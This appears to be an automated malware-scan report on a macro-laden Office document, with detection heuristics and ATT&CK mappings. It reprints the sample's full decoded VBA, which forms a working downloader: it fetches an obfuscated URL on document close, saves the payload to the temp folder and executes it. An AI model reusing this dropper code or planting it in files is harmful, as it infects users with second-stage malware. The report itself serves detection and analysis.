MALICIOUS
190
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
The VBA macro contains a critical heuristic firing for downloading and executing a file via HTTP. The script constructs a URL and a temporary file path, then attempts to download content and save it. This indicates the document is a downloader for a second-stage payload.
Heuristics 6
-
ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
BGRIWFUXHLGWTTTVOKOEQJRTUQDRHYWRCWSYEVVPIVHNULTNPCVURBYKVILJOQXIJNSQFMVGPNIXCCCEWSWLS = EWSWLSRZCDYLTPHYZKXBHMWEXQEPODTCUWKXDZJHSEQMKQYGQKPBYNOEORVPGKKJMXBFTBZIKLHTBXPGISGIPN.responseBody -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set BETHZHJLHTHWPNHRMIPTLLFXLWDKBKDFRLKHQPBLXBYFGNYYEIGUDMVGDXNRSRTMJMCIIPRSOBJFXOPZOQWCMTNGTFESJRLNZ = CreateObject("Shell.Application") -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
BJKMIUCYQHISHJQVGMGZNXXLCLEGSGMJRQCMYUTYHOZTXKHVWNXZEYOTTSVHKNDJJRSUQDKGYPQBPRYWOUHIV = Environ("tmp") + UYFTDSFNTNMJSRCUZDBGPPZBGRIWFUXHLGWTTTVOKOEQJRTUQDRHYWRCWSYEVVPIVHNULTNPCVURBYKVILJOQXIJNSQFMV("\WMJKJåã.ÂÛÂ") -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5304 bytes |
SHA-256: d84f22b220e18a213a977a9ec05c7f382d18c7b0704ba293eb7002a9ac8f8d8a |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_close()
Dim BJKMIUCYQHISHJQVGMGZNXXLCLEGSGMJRQCMYUTYHOZTXKHVWNXZEYOTTSVHKNDJJRSUQDKGYPQBPRYWOUHIV
Dim BETHZHJLHTHWPNHRMIPTLLFXLWDKBKDFRLKHQPBLXBYFGNYYEIGUDMVGDXNRSRTMJMCIIPRSOBJFXOPZOQWCMTNGTFESJRLNZ
Set BETHZHJLHTHWPNHRMIPTLLFXLWDKBKDFRLKHQPBLXBYFGNYYEIGUDMVGDXNRSRTMJMCIIPRSOBJFXOPZOQWCMTNGTFESJRLNZ = CreateObject("Shell.Application")
Dim EWSWLSRZCDYLTPHYZKXBHMWEXQEPODTCUWKXDZJHSEQMKQYGQKPBYNOEORVPGKKJMXBFTBZIKLHTBXPGISGIPN
Set EWSWLSRZCDYLTPHYZKXBHMWEXQEPODTCUWKXDZJHSEQMKQYGQKPBYNOEORVPGKKJMXBFTBZIKLHTBXPGISGIPN = CreateObject("microsoft.xmlhttp")
BJKMIUCYQHISHJQVGMGZNXXLCLEGSGMJRQCMYUTYHOZTXKHVWNXZEYOTTSVHKNDJJRSUQDKGYPQBPRYWOUHIV = Environ("tmp") + UYFTDSFNTNMJSRCUZDBGPPZBGRIWFUXHLGWTTTVOKOEQJRTUQDRHYWRCWSYEVVPIVHNULTNPCVURBYKVILJOQXIJNSQFMV("\WMJKJåã.ÂÛÂ")
EWSWLSRZCDYLTPHYZKXBHMWEXQEPODTCUWKXDZJHSEQMKQYGQKPBYNOEORVPGKKJMXBFTBZIKLHTBXPGISGIPN.Open "GET", UYFTDSFNTNMJSRCUZDBGPPZBGRIWFUXHLGWTTTVOKOEQJRTUQDRHYWRCWSYEVVPIVHNULTNPCVURBYKVILJOQXIJNSQFMV("hÖÖÓÕ://vÒÄd.ÁÀÖ/0bd³bbd6b³À²²4b805²Ãb7b789481À86ÁdÁ640À8"), False
EWSWLSRZCDYLTPHYZKXBHMWEXQEPODTCUWKXDZJHSEQMKQYGQKPBYNOEORVPGKKJMXBFTBZIKLHTBXPGISGIPN.send
BGRIWFUXHLGWTTTVOKOEQJRTUQDRHYWRCWSYEVVPIVHNULTNPCVURBYKVILJOQXIJNSQFMVGPNIXCCCEWSWLS = EWSWLSRZCDYLTPHYZKXBHMWEXQEPODTCUWKXDZJHSEQMKQYGQKPBYNOEORVPGKKJMXBFTBZIKLHTBXPGISGIPN.responseBody
If EWSWLSRZCDYLTPHYZKXBHMWEXQEPODTCUWKXDZJHSEQMKQYGQKPBYNOEORVPGKKJMXBFTBZIKLHTBXPGISGIPN.Status = 200 Then
Set JUMRUSXHORSXJHVWMPZDXOLMLNGJNVJIQLMIUJYXOJTOKQVNNHHUYFTDSFNTNMJSRCUZDBGPPZBGRIWFUXHLG = CreateObject("adodb.stream")
JUMRUSXHORSXJHVWMPZDXOLMLNGJNVJIQLMIUJYXOJTOKQVNNHHUYFTDSFNTNMJSRCUZDBGPPZBGRIWFUXHLG.Open
JUMRUSXHORSXJHVWMPZDXOLMLNGJNVJIQLMIUJYXOJTOKQVNNHHUYFTDSFNTNMJSRCUZDBGPPZBGRIWFUXHLG.Type = 1
JUMRUSXHORSXJHVWMPZDXOLMLNGJNVJIQLMIUJYXOJTOKQVNNHHUYFTDSFNTNMJSRCUZDBGPPZBGRIWFUXHLG.Write BGRIWFUXHLGWTTTVOKOEQJRTUQDRHYWRCWSYEVVPIVHNULTNPCVURBYKVILJOQXIJNSQFMVGPNIXCCCEWSWLS
JUMRUSXHORSXJHVWMPZDXOLMLNGJNVJIQLMIUJYXOJTOKQVNNHHUYFTDSFNTNMJSRCUZDBGPPZBGRIWFUXHLG.SaveToFile BJKMIUCYQHISHJQVGMGZNXXLCLEGSGMJRQCMYUTYHOZTXKHVWNXZEYOTTSVHKNDJJRSUQDKGYPQBPRYWOUHIV, 2
JUMRUSXHORSXJHVWMPZDXOLMLNGJNVJIQLMIUJYXOJTOKQVNNHHUYFTDSFNTNMJSRCUZDBGPPZBGRIWFUXHLG.Close
End If
BETHZHJLHTHWPNHRMIPTLLFXLWDKBKDFRLKHQPBLXBYFGNYYEIGUDMVGDXNRSRTMJMCIIPRSOBJFXOPZOQWCMTNGTFESJRLNZ.Open (BJKMIUCYQHISHJQVGMGZNXXLCLEGSGMJRQCMYUTYHOZTXKHVWNXZEYOTTSVHKNDJJRSUQDKGYPQBPRYWOUHIV)
End Sub
Public Function UYFTDSFNTNMJSRCUZDBGPPZBGRIWFUXHLGWTTTVOKOEQJRTUQDRHYWRCWSYEVVPIVHNULTNPCVURBYKVILJOQXIJNSQFMV(GPNIXCCCEWSWLSRZCDYLTPHYZKXBHMWEXQEPODTCUWKXDZJHSEQMKQYGQKPBYNOEORVPGKKJMXBFTBZIKLHTBXPGISGIPNFMYY)
ZGTETFOBOTQZRDUBDBHPWBCGSPEFVYIMHWUUTWPSVERRZUVRESIHXRCXSZFWWPPEIOCMCNWDWVSCZLDILJPXYJKOBQG = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥"
NEHQUPFDDCFWTXMZSBDEZMBQIGZKGBINFEXRFQWDUDVXLFEBJITFQTRXYHRSWCYNVFPYVQGLLKNFCFUBBJ = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
For i = 1 To Len(GPNIXCCCEWSWLSRZCDYLTPHYZKXBHMWEXQEPODTCUWKXDZJHSEQMKQYGQKPBYNOEORVPGKKJMXBFTBZIKLHTBXPGISGIPNFMYY)
KMIUCYQHISHJQVGMGZNXXLCLEGSGMJRQCMYUTYHOZTXKHVWNXZEYOTTSVHKNDJJRSUQDKGYPQBPRYWOUHIVZGTETFOBOTQ = InStr(ZGTETFOBOTQZRDUBDBHPWBCGSPEFVYIMHWUUTWPSVERRZUVRESIHXRCXSZFWWPPEIOCMCNWDWVSCZLDILJPXYJKOBQG, Mid(GPNIXCCCEWSWLSRZCDYLTPHYZKXBHMWEXQEPODTCUWKXDZJHSEQMKQYGQKPBYNOEORVPGKKJMXBFTBZIKLHTBXPGISGIPNFMYY, i, 1))
If KMIUCYQHISHJQVGMGZNXXLCLEGSGMJRQCMYUTYHOZTXKHVWNXZEYOTTSVHKNDJJRSUQDKGYPQBPRYWOUHIVZGTETFOBOTQ > 0 Then
ZRDUBDBHPWBCGSPEFVYIMFUSSRUNQTCPPXSTPCQGFVQZVQXDUUNNCGMZKZLUBUTQZXJBGJHNVWHIMYOELCFOS = Mid(NEHQUPFDDCFWTXMZSBDEZMBQIGZKGBINFEXRFQWDUDVXLFEBJITFQTRXYHRSWCYNVFPYVQGLLKNFCFUBBJ, KMIUCYQHISHJQVGMGZNXXLCLEGSGMJRQCMYUTYHOZTXKHVWNXZEYOTTSVHKNDJJRSUQDKGYPQBPRYWOUHIVZGTETFOBOTQ, 1)
NDBBZDVRVKXQYBCXKYOGEXIEYGLDCVPDOUBSBTVJDCYIGRDORPVWFPQUZWMTDNWTOEJJILDZESYYHIKGSZWOFGQFHOTEKEXLVVJ = NDBBZDVRVKXQYBCXKYOGEXIEYGLDCVPDOUBSBTVJDCYIGRDORPVWFPQUZWMTDNWTOEJJILDZESYYHIKGSZWOFGQFHOTEKEXLVVJ + ZRDUBDBHPWBCGSPEFVYIMFUSSRUNQTCPPXSTPCQGFVQZVQXDUUNNCGMZKZLUBUTQZXJBGJHNVWHIMYOELCFOS
Else
NDBBZDVRVKXQYBCXKYOGEXIEYGLDCVPDOUBSBTVJDCYIGRDORPVWFPQUZWMTDNWTOEJJILDZESYYHIKGSZWOFGQFHOTEKEXLVVJ = NDBBZDVRVKXQYBCXKYOGEXIEYGLDCVPDOUBSBTVJDCYIGRDORPVWFPQUZWMTDNWTOEJJILDZESYYHIKGSZWOFGQFHOTEKEXLVVJ + Mid(GPNIXCCCEWSWLSRZCDYLTPHYZKXBHMWEXQEPODTCUWKXDZJHSEQMKQYGQKPBYNOEORVPGKKJMXBFTBZIKLHTBXPGISGIPNFMYY, i, 1)
End If
Next
UYFTDSFNTNMJSRCUZDBGPPZBGRIWFUXHLGWTTTVOKOEQJRTUQDRHYWRCWSYEVVPIVHNULTNPCVURBYKVILJOQXIJNSQFMV = NDBBZDVRVKXQYBCXKYOGEXIEYGLDCVPDOUBSBTVJDCYIGRDORPVWFPQUZWMTDNWTOEJJILDZESYYHIKGSZWOFGQFHOTEKEXLVVJ
End Function
Attribute VB_Name = "NewMacros"
Sub about()
'
' about Macro
'
'
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.